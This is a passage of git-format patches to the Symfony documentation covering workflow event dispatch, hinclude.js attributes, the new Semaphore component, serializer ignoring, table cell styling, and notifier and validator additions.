-    * ``null`` - all events are dispatched
-    * ``[]`` - no events are dispatched
-    * ``['workflow.leave', 'workflow.completed']`` - only specific events are dispatched
-
-.. note::
-
-    Guard Events are still dispatched in all instances.
+If you prefer to control which events are fired when performing each transition,
+use the ``events_to_dispatch`` configuration option. This option does not apply
+to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
 
 .. configuration-block::
 
@@ -473,8 +463,12 @@ Valid options for ``events_to_dispatch`` are:
         framework:
             workflows:
                 blog_publishing:
-                    # ...
+                    # you can pass one or more event names
                     events_to_dispatch: ['workflow.leave', 'workflow.completed']
+
+                    # pass an empty array to not dispatch any event
+                    events_to_dispatch: []
+
                     # ...
 
     .. code-block:: xml
@@ -489,9 +483,13 @@ Valid options for ``events_to_dispatch`` are:
         >
             <framework:config>
                 <framework:workflow name="blog_publishing">
-                    <!-- ... -->
+                    <!-- you can pass one or more event names -->
                     <framework:event-to-dispatch>workflow.leave</framework:event-to-dispatch>
                     <framework:event-to-dispatch>workflow.completed</framework:event-to-dispatch>
+
+                    <!-- pass an empty array to not dispatch any event -->
+                    <framework:event-to-dispatch></framework:event-to-dispatch>
+
                     <!-- ... -->
                 </framework:workflow>
             </framework:config>
@@ -504,67 +502,21 @@ Valid options for ``events_to_dispatch`` are:
             // ...
             'workflows' => [
                 'blog_publishing' => [
-                    // ...
+                    // you can pass one or more event names
                     'events_to_dispatch' => [
                         'workflow.leave',
                         'workflow.completed',
                     ],
-                    // ...
-                ],
-            ],
-        ]);
-
-To specify that no events will be dispatched pass an empty array to the
-configuration option.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/workflow.yaml
-        framework:
-            workflows:
-                blog_publishing:
-                    # ...
-                    events_to_dispatch: []
-                    # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/workflow.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-            https://symfony.com/schema/dic/services/services-1.0.xsd
-            http://symfony.com/schema/dic/symfony
-            https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-            <framework:config>
-                <framework:workflow name="blog_publishing">
-                    <!-- ... -->
-                    <framework:event-to-dispatch></framework:event-to-dispatch>
-                    <!-- ... -->
-                </framework:workflow>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
 
-        // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    // ...
+                    // pass an empty array to not dispatch any event
                     'events_to_dispatch' => [],
+
                     // ...
                 ],
             ],
         ]);
 
-You are also able to explicitly disable a specific event from being fired
-when applying a transition::
+You can also disable a specific event from being fired when applying a transition::
 
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\Exception\LogicException;
@@ -582,10 +534,10 @@ when applying a transition::
         // ...
     }
 
-Choosing to disable an event for a specific transition will take precedence
-over any events specified in the workflow configuration. In the above example
-the ``workflow.leave`` event will not be fired, even if it has been specified
-as an event to be dispatched for all transitions in the workflow configuration.
+Disabling an event for a specific transition will take precedence over any
+events specified in the workflow configuration. In the above example the
+``workflow.leave`` event will not be fired, even if it has been specified as an
+event to be dispatched for all transitions in the workflow configuration.
 
 .. versionadded:: 5.1
 

From e492a64fed530e78bccabd5483d51c983edc128e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Aug 2020 09:47:19 +0200
Subject: [PATCH 1054/7107] Removed an unneeded versionadded directive

---
 components/property_info.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 40b8b94ea77..d67034b04fa 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -293,10 +293,6 @@ string values: ``array``, ``bool``, ``callable``, ``float``, ``int``,
 Constants inside the :class:`Symfony\\Component\\PropertyInfo\\Type`
 class, in the form ``Type::BUILTIN_TYPE_*``, are provided for convenience.
 
-.. versionadded:: 4.4
-
-    Support for typed properties (added in PHP 7.4) was introduced in Symfony 4.4.
-
 ``Type::isNullable()``
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 8539dc5060bf9838167967ab889490fdb249350d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Aug 2020 16:30:13 +0200
Subject: [PATCH 1055/7107] [Templating] Explain the hinclude.js attributes

---
 templating/hinclude.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index def7939ab17..9ddd73aaadc 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -88,4 +88,16 @@ Or you can also specify a string to display as the default content:
 
     {{ render_hinclude(controller('...'), {default: 'Loading...'}) }}
 
+Use the ``attributes`` option to define the value of hinclude.js options:
+
+.. code-block:: twig
+
+    {# by default, cross-site requests don't use credentials such as cookies, authorization
+       headers or TLS client certificates; set this option to 'true' to use them
+    {{ render_hinclude(controller('...'), {attributes: {data-with-credentials: 'true'}}) }}
+
+    {# by default, the JavaScript code included in the loaded contents is not run;
+       set this option to 'true' to run that JavaScript code #}
+    {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
+
 .. _`hinclude.js`: http://mnot.github.io/hinclude/

From 21c286fd6e02582a2ac5d64a4744b5ada1192131 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Aug 2020 09:54:42 +0200
Subject: [PATCH 1056/7107] Fixed sample code syntax

---
 templating/hinclude.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index 9ddd73aaadc..d832cdbdba2 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -93,7 +93,7 @@ Use the ``attributes`` option to define the value of hinclude.js options:
 .. code-block:: twig
 
     {# by default, cross-site requests don't use credentials such as cookies, authorization
-       headers or TLS client certificates; set this option to 'true' to use them
+       headers or TLS client certificates; set this option to 'true' to use them #}
     {{ render_hinclude(controller('...'), {attributes: {data-with-credentials: 'true'}}) }}
 
     {# by default, the JavaScript code included in the loaded contents is not run;

From 22e454fc00f41d610395fa43fc802668b2e061d8 Mon Sep 17 00:00:00 2001
From: Robin C <me@taminoful.de>
Date: Fri, 14 Aug 2020 18:16:07 +0200
Subject: [PATCH 1057/7107] Update Symfony browserlists reccomendation to
 browserlists standard.

---
 frontend/encore/postcss.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index a6690bdf666..a27e48862e5 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -63,6 +63,16 @@ The ``autoprefixer`` (and many other tools) need to know what browsers you want
 support. The best-practice is to configure this directly in your ``package.json``
 (so that all the tools can read this):
 
+.. code-block:: diff
+
+    {
+    +  "browserslist": [
+    +    "defaults"
+    +  ]
+    }
+
+The ``defaults`` option is reccommended for most users and would be equivilant to the following browserslist.
+
 .. code-block:: diff
 
     {

From cff0d6d2d8f24992bc1bd4de80903954bd21c49c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFc=20Vernet?= <vernet.loic@gmail.com>
Date: Fri, 28 Aug 2020 19:08:13 +0200
Subject: [PATCH 1058/7107] [5.0] [security] formatting

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 60fb74ed40c..dce03a9c2cb 100644
--- a/security.rst
+++ b/security.rst
@@ -361,8 +361,8 @@ authentication process. There are many different ways to build an authenticator;
 here are a few common use-cases:
 
 * :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed description of
-   authenticators and how they work
+* :doc:`/security/guard_authentication` – see this for the most detailed
+  description of authenticators and how they work
 
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:

From 24c1086aa16a04852c95d170751fc04ab3ca4edd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Aug 2020 10:29:14 +0200
Subject: [PATCH 1059/7107] Minor syntax fixes

---
 components/property_access.rst        | 4 ++--
 reference/configuration/framework.rst | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 7c8390f9a24..c99091c4e15 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -217,7 +217,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
 .. versionadded:: 5.2
 
-    The magic `__get` method can be disabled since in Symfony 5.2.
+    The magic ``__get()`` method can be disabled since in Symfony 5.2.
     see `Enable other Features`_.
 
 .. _components-property-access-magic-call:
@@ -362,7 +362,7 @@ see `Enable other Features`_::
 
 .. versionadded:: 5.2
 
-    The magic `__set` method can be disabled since in Symfony 5.2.
+    The magic ``__set()`` method can be disabled since in Symfony 5.2.
     see `Enable other Features`_.
 
 Writing to Array Properties
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3db77d3c328..e2015e923fa 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2140,7 +2140,7 @@ its ``getValue()`` method is called.
 
 .. versionadded:: 5.2
 
-    The magic `magic_get` option was introduced in Symfony 5.2.
+    The ``magic_get`` option was introduced in Symfony 5.2.
 
 magic_set
 .........
@@ -2153,7 +2153,7 @@ its ``setValue()`` method is called.
 
 .. versionadded:: 5.2
 
-    The magic `magic_set` option was introduced in Symfony 5.2.
+    The ``magic_set`` option was introduced in Symfony 5.2.
 
 throw_exception_on_invalid_index
 ................................

From 74041eeb27f67b1b10b327bc6288df48b7aa5df2 Mon Sep 17 00:00:00 2001
From: Smaine Milianni <smaine.milianni@gmail.com>
Date: Wed, 19 Aug 2020 08:51:09 +0100
Subject: [PATCH 1060/7107] linkedin documentation wip

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 460be529f97..6c19202a77e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -142,6 +142,7 @@ GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_T
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
+LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 ==========  ================================  ===========================================================================
 
 .. versionadded:: 5.1
@@ -152,7 +153,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?ch
 
 .. versionadded:: 5.2
 
-    The GoogleChat and Zulip integrations were introduced in Symfony 5.2.
+    The GoogleChat, LinkedIn and Zulip integrations were introduced in Symfony 5.2.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From a028d22b1541b44cc7e857041d9c59f8ce59008f Mon Sep 17 00:00:00 2001
From: Pierre-Yves Dick <pyrrahnas@gmail.com>
Date: Mon, 17 Aug 2020 12:35:02 +0200
Subject: [PATCH 1061/7107] 4.0->master: Updated link+title of Heroku's doc

* Updated link for branches 4.0 to 4.2 (remove doc link for Symfony 3)
* Changed title (especially for branches 5.0 to master) : the documentation also talks about Symfony 5
---
 deployment/heroku.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/deployment/heroku.rst b/deployment/heroku.rst
index 1e2e1635c55..f28734a1f2a 100644
--- a/deployment/heroku.rst
+++ b/deployment/heroku.rst
@@ -7,6 +7,6 @@ Deploying to Heroku
 ===================
 
 To deploy to Heroku, see their official documentation:
-`Deploying Symfony 4 Apps on Heroku`_.
+`Deploying Symfony 4 & 5 Apps on Heroku`_.
 
-.. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
+.. _`Deploying Symfony 4 & 5 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4

From 0beb1b0d2770e580816f032bf153cc4fb80be9b7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Aug 2020 10:53:34 +0200
Subject: [PATCH 1062/7107] Fixed a DOCtor-RST issue

---
 deployment/heroku.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/deployment/heroku.rst b/deployment/heroku.rst
index f28734a1f2a..1a2b416d8f0 100644
--- a/deployment/heroku.rst
+++ b/deployment/heroku.rst
@@ -7,6 +7,6 @@ Deploying to Heroku
 ===================
 
 To deploy to Heroku, see their official documentation:
-`Deploying Symfony 4 & 5 Apps on Heroku`_.
+`Deploying Symfony 4 & 5 Applications on Heroku`_.
 
-.. _`Deploying Symfony 4 & 5 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
+.. _`Deploying Symfony 4 & 5 Applications on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4

From 98b673451b9124c22c608e658fcd4eda0cc2b193 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 31 Aug 2020 10:57:54 +0200
Subject: [PATCH 1063/7107] [#14076] fix typos

---
 frontend/encore/postcss.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index a27e48862e5..4a9bc1ac6e6 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -71,7 +71,8 @@ support. The best-practice is to configure this directly in your ``package.json`
     +  ]
     }
 
-The ``defaults`` option is reccommended for most users and would be equivilant to the following browserslist.
+The ``defaults`` option is recommended for most users and would be equivalent
+to the following browserslist:
 
 .. code-block:: diff
 

From 56be70089e07a3d36c47bf298b1bb065d13f0030 Mon Sep 17 00:00:00 2001
From: Valentin Silvestre <17164385+vasilvestre@users.noreply.github.com>
Date: Mon, 31 Aug 2020 11:44:16 +0200
Subject: [PATCH 1064/7107] Update serializer.rst

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index b3735deb32a..fefa16f55f1 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -419,7 +419,7 @@ All attributes are included by default when serializing objects. You have two al
 * `Option 2: Using the context`_
 
 Option 1: Using ``@Ignore`` annotation
---------------------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. configuration-block::
 
@@ -485,7 +485,7 @@ You are now able to ignore specific attributes during serialization::
 
 
 Option 2: Using the context
----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By providing an array via the ``AbstractNormalizer::IGNORED_ATTRIBUTES``
 key in the ``context`` parameter of the desired serializer method::

From dcd5b4ce86088786de05a6ee61930137d4746c0e Mon Sep 17 00:00:00 2001
From: Valentin Silvestre <17164385+vasilvestre@users.noreply.github.com>
Date: Mon, 31 Aug 2020 14:24:01 +0200
Subject: [PATCH 1065/7107] Update serializer.rst

Remove default value (false) from ignoring rules in XML and YML files as I didn't put them in PHP code.
---
 components/serializer.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index fefa16f55f1..8bc88446651 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -443,8 +443,6 @@ Option 1: Using ``@Ignore`` annotation
 
         App\Model\MyClass:
             attributes:
-                foo:
-                    ignore: false
                 bar:
                     ignore: true
 
@@ -457,10 +455,6 @@ Option 1: Using ``@Ignore`` annotation
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\MyClass">
-                <attribute name="foo">
-                    <ignore>false</ignore>
-                </attribute>
-
                 <attribute name="bar">
                     <ignore>true</ignore>
                 </attribute>

From 563206fc4ee10ece5b3808de156dbc37dd26c3c9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Fri, 28 Aug 2020 16:08:30 +0200
Subject: [PATCH 1066/7107] [Sempahore] Added first round of documentation

---
 components/semaphore.rst | 79 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)
 create mode 100644 components/semaphore.rst

diff --git a/components/semaphore.rst b/components/semaphore.rst
new file mode 100644
index 00000000000..4677b0627ba
--- /dev/null
+++ b/components/semaphore.rst
@@ -0,0 +1,79 @@
+.. index::
+   single: Semaphore
+   single: Components; Semaphore
+
+The Semaphore Component
+=======================
+
+    The Semaphore Component manages `semaphores`_, a mechanism to provide
+    exclusive access to a shared resource.
+
+.. versionadded:: 5.2
+
+    The Semaphore Component was introduced in Symfony 5.2.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/semaphore
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+Semaphore are used to guarantee exclusive access to some shared resource.
+
+Semaphore are created using a :class:`Symfony\\Component\\Semaphore\\SemaphoreFactory` class,
+which in turn requires another class to manage the storage of Semaphore::
+
+    use Symfony\Component\Semaphore\SemaphoreFactory;
+    use Symfony\Component\Semaphore\Store\RedisStore;
+
+    $redis = new Redis();
+    $redis->connect('172.17.0.2');
+
+    $store = new RedisStore($redis);
+    $factory = new SemaphoreFactory($store);
+
+
+The semaphore is created by calling the
+:method:`Symfony\\Component\\Semaphore\\SemaphoreFactory::createSemaphore`
+method. Its first argument is an arbitrary string that represents the locked
+resource. Its second argument is the number of process allowed. Then, a call to
+the :method:`Symfony\\Component\\Semaphore\\SemaphoreInterface::acquire` method
+will try to acquire the semaphore::
+
+    // ...
+    $semaphore = $factory->createSemaphore('pdf-invoice-generation', 2);
+
+    if ($semaphore->acquire()) {
+        // The resource "pdf-invoice-generation" is locked.
+        // You can compute and generate invoice safely here.
+
+        $semaphore->release();
+    }
+
+If the semaphore can not be acquired, the method returns ``false``. The
+``acquire()`` method can be safely called repeatedly, even if the semaphore is
+already acquired.
+
+.. note::
+
+    Unlike other implementations, the Semaphore Component distinguishes
+    semaphores instances even when they are created for the same resource. If a
+    semaphore has to be used by several services, they should share the same
+    ``Semaphore`` instance returned by the ``SemaphoreFactory::createSemaphore``
+    method.
+
+.. tip::
+
+    If you don't release the semaphore explicitly, it will be released
+    automatically on instance destruction. In some cases, it can be useful to
+    lock a resource across several requests. To disable the automatic release
+    behavior, set the last argument of the ``createLock()`` method to
+    ``false``.
+
+.. _`semaphores`: https://en.wikipedia.org/wiki/Semaphore_(programming)

From 4188b0a9b642a7e2a6a5cba4df1c1bd796f37b7d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Aug 2020 17:58:13 +0200
Subject: [PATCH 1067/7107] Minor tweak

---
 components/console/helpers/table.rst | 66 ++++++++++++++--------------
 1 file changed, 33 insertions(+), 33 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index d50cc160c06..aa4c293d834 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -265,6 +265,39 @@ Here is a full list of things you can customize:
 
     This method can also be used to override a built-in style.
 
+.. versionadded:: 5.2
+
+    The option to style table cells was introduced in Symfony 5.2.
+
+In addition to the built-in table styles, you can also apply different styles
+to each table cell via :class:`Symfony\\Component\\Console\\Helper\\TableCellStyle`::
+
+    use Symfony\Component\Console\Helper\Table;
+    use Symfony\Component\Console\Helper\TableCellStyle;
+
+    $table = new Table($output);
+
+    $table->setRows([
+        [
+            '978-0804169127',
+            new TableCell(
+                'Divine Comedy',
+                [
+                    'style' => new TableCellStyle([
+                        'align' => 'center',
+                        'fg' => 'red',
+                        'bg' => 'green',
+
+                        // or
+                        'cellFormat' => '<info>%s</info>',
+                    ])
+                ]
+            )
+        ],
+    ]);
+
+    $table->render();
+
 Spanning Multiple Columns and Rows
 ----------------------------------
 
@@ -393,36 +426,3 @@ This will display the following table in the terminal:
     | Love    |
     | Symfony |
     +---------+
-
-.. versionadded:: 5.2
-
-Styling of table cells
-----------------------
-
-You can customize a table cell via :class:`Symfony\\Component\\Console\\Helper\\TableCellStyle`::
-
-    use Symfony\Component\Console\Helper\Table;
-    use Symfony\Component\Console\Helper\TableCellStyle;
-
-    $table = new Table($output);
-
-    $table->setRows([
-        [
-            '978-0804169127',
-            new TableCell(
-                'Divine Comedy',
-                [
-                    'style' => new TableCellStyle([
-                        'align' => 'center',
-                        'fg' => 'red',
-                        'bg' => 'green',
-
-                        // or
-                        'cellFormat' => '<info>%s</info>',
-                    ])
-                ]
-            )
-        ],
-    ]);
-
-    $table->render();

From d6331b371dc71e0c730fb397440eb7b53393bd26 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 1 Sep 2020 15:22:14 +0200
Subject: [PATCH 1068/7107] Add documentation about quiet configuration

---
 components/phpunit_bridge.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2b6ad5f5e1b..fc7c0d6ae2e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -296,6 +296,8 @@ By default, the bridge will display a detailed output with the number of
 deprecations and where they arise. If this is too much for you, you can use
 ``SYMFONY_DEPRECATIONS_HELPER=verbose=0`` to turn the verbose output off.
 
+It's also possible to change verbosity per deprecation type, for instance ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types "indirect" and "other".
+
 Disabling the Deprecation Helper
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 8b36b82beb314f05d69c4fd816341d7e3d204594 Mon Sep 17 00:00:00 2001
From: lubo13 <grozdanov.lubo@gmail.com>
Date: Sun, 30 Aug 2020 15:27:13 +0300
Subject: [PATCH 1069/7107] [Workflow] pass arguments to getMetadata method

---
 workflow.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 8b84f2a2607..f27a46de561 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -858,14 +858,14 @@ Then you can access this metadata in your controller as follows::
 
 There is a ``getMetadata()`` method that works with all kinds of metadata::
 
-    // pass no arguments to getMetadata() to get "workflow metadata"
-    $title = $workflow->getMetadataStore()->getMetadata()['title'];
+    // pass a string (the key of workflow metadata) to getMetadata() to get "workflow metadata" by key
+    $title = $workflow->getMetadataStore()->getMetadata('title');
 
-    // pass a string (the place name) to getMetadata() to get "place metadata"
-    $maxNumOfWords = $workflow->getMetadataStore()->getMetadata('draft')['max_num_of_words'];
+    // pass two arguments: a string (the key of place metadata) and a string (the place name) to getMetadata() to get "place metadata" by key
+    $maxNumOfWords = $workflow->getMetadataStore()->getMetadata('max_num_of_words', 'draft');
 
-    // pass a Transition object to getMetadata() to get "transition metadata"
-    $priority = $workflow->getMetadataStore()->getMetadata($aTransition)['priority'];
+    // pass two arguments: a string (the key of transition metadata) and a Transition object to getMetadata() to get "transition metadata" by key
+    $priority = $workflow->getMetadataStore()->getMetadata('priority', $aTransition);
 
 In a :ref:`flash message <flash-messages>` in your controller::
 

From e9c61027c55b8100454ade9d742526fd519f807d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Sep 2020 17:52:17 +0200
Subject: [PATCH 1070/7107] Reword

---
 workflow.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index f27a46de561..fa656bb1d41 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -663,7 +663,7 @@ of domain logic in your templates:
 
 ``workflow_has_marked_place()``
     Returns ``true`` if the marking of the given object has the given state.
-    
+
 ``workflow_transition_blockers()``
     Returns :class:`Symfony\\Component\\Workflow\\TransitionBlockerList` for the given transition.
 
@@ -698,7 +698,7 @@ The following example shows these functions in action:
     {% if 'reviewed' in workflow_marked_places(post) %}
         <span class="label">Reviewed</span>
     {% endif %}
-    
+
     {# Loop through the transition blockers #}
     {% for blocker in workflow_transition_blockers(post, 'publish') %}
         <span class="error">{{ blocker.message }}</span>
@@ -858,13 +858,13 @@ Then you can access this metadata in your controller as follows::
 
 There is a ``getMetadata()`` method that works with all kinds of metadata::
 
-    // pass a string (the key of workflow metadata) to getMetadata() to get "workflow metadata" by key
+    // get "workflow metadata" passing the metadata key as argument
     $title = $workflow->getMetadataStore()->getMetadata('title');
 
-    // pass two arguments: a string (the key of place metadata) and a string (the place name) to getMetadata() to get "place metadata" by key
+    // get "place metadata" passing the metadata key as the first argument and the place name as the second argument
     $maxNumOfWords = $workflow->getMetadataStore()->getMetadata('max_num_of_words', 'draft');
 
-    // pass two arguments: a string (the key of transition metadata) and a Transition object to getMetadata() to get "transition metadata" by key
+    // get "transition metadata" passing the metadata key as the first argument and a Transition object as the second argument
     $priority = $workflow->getMetadataStore()->getMetadata('priority', $aTransition);
 
 In a :ref:`flash message <flash-messages>` in your controller::

From 3c9e289e31b2cb84f8969a0e36ed9abdaa6ecfc3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Sep 2020 17:51:42 +0200
Subject: [PATCH 1071/7107] Minor tweak

---
 components/serializer.rst | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 8bc88446651..6f15604325e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -413,12 +413,10 @@ As for groups, attributes can be selected during both the serialization and dese
 Ignoring Attributes
 -------------------
 
-All attributes are included by default when serializing objects. You have two alternatives to ignore some of those attributes.
+All attributes are included by default when serializing objects. There are two
+options to ignore some of those attributes.
 
-* `Option 1: Using @Ignore annotation`_
-* `Option 2: Using the context`_
-
-Option 1: Using ``@Ignore`` annotation
+Option 1: Using ``@Ignore`` Annotation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. configuration-block::
@@ -461,7 +459,7 @@ Option 1: Using ``@Ignore`` annotation
             </class>
         </serializer>
 
-You are now able to ignore specific attributes during serialization::
+You can now ignore specific attributes during serialization::
 
     use App\Model\MyClass;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
@@ -477,12 +475,12 @@ You are now able to ignore specific attributes during serialization::
     $data = $serializer->normalize($obj);
     // $data = ['foo' => 'foo'];
 
-
-Option 2: Using the context
+Option 2: Using the Context
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By providing an array via the ``AbstractNormalizer::IGNORED_ATTRIBUTES``
-key in the ``context`` parameter of the desired serializer method::
+Pass an array with the names of the attributes to ignore using the
+``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the
+serializer method::
 
     use Acme\Person;
     use Symfony\Component\Serializer\Encoder\JsonEncoder;
@@ -805,7 +803,7 @@ There are several types of normalizers available:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
-    
+
 .. _component-serializer-encoders:
 
 Encoders

From e2989290cf3a28ebcc454d1cb13354116744e5cf Mon Sep 17 00:00:00 2001
From: Zmey <amenshchikov@gmail.com>
Date: Thu, 3 Sep 2020 01:21:08 +0300
Subject: [PATCH 1072/7107] Added support for using the "{{ label }}"
 placeholder in constraint messages

---
 components/form.rst                    |  5 +++++
 forms.rst                              |  5 +++++
 reference/constraints/Blank.rst        |  5 +++++
 reference/constraints/CardScheme.rst   |  5 +++++
 reference/constraints/Choice.rst       |  5 +++++
 reference/constraints/Currency.rst     |  5 +++++
 reference/constraints/Date.rst         |  5 +++++
 reference/constraints/DateTime.rst     |  5 +++++
 reference/constraints/Email.rst        |  5 +++++
 reference/constraints/Expression.rst   |  5 +++++
 reference/constraints/Hostname.rst     |  5 +++++
 reference/constraints/Iban.rst         |  5 +++++
 reference/constraints/Ip.rst           |  5 +++++
 reference/constraints/IsFalse.rst      |  5 +++++
 reference/constraints/IsNull.rst       |  5 +++++
 reference/constraints/IsTrue.rst       |  5 +++++
 reference/constraints/Isbn.rst         | 20 ++++++++++++++++++++
 reference/constraints/Isin.rst         |  5 +++++
 reference/constraints/Issn.rst         |  5 +++++
 reference/constraints/Language.rst     |  5 +++++
 reference/constraints/Locale.rst       |  5 +++++
 reference/constraints/Luhn.rst         |  5 +++++
 reference/constraints/NotBlank.rst     |  5 +++++
 reference/constraints/NotNull.rst      |  5 +++++
 reference/constraints/Range.rst        |  5 +++++
 reference/constraints/Regex.rst        |  5 +++++
 reference/constraints/Time.rst         |  5 +++++
 reference/constraints/Timezone.rst     |  5 +++++
 reference/constraints/Type.rst         |  5 +++++
 reference/constraints/UniqueEntity.rst |  5 +++++
 reference/constraints/Url.rst          |  5 +++++
 reference/constraints/Uuid.rst         |  5 +++++
 32 files changed, 175 insertions(+)

diff --git a/components/form.rst b/components/form.rst
index 7ac59478ceb..cdcf9ee54a8 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -728,6 +728,11 @@ and the errors will display next to the fields on error.
     For a list of all of the built-in validation constraints, see
     :doc:`/reference/constraints`.
 
+.. versionadded:: 5.2
+
+    Constraint message can contains ``{{ label }}`` placeholder that will be replaced
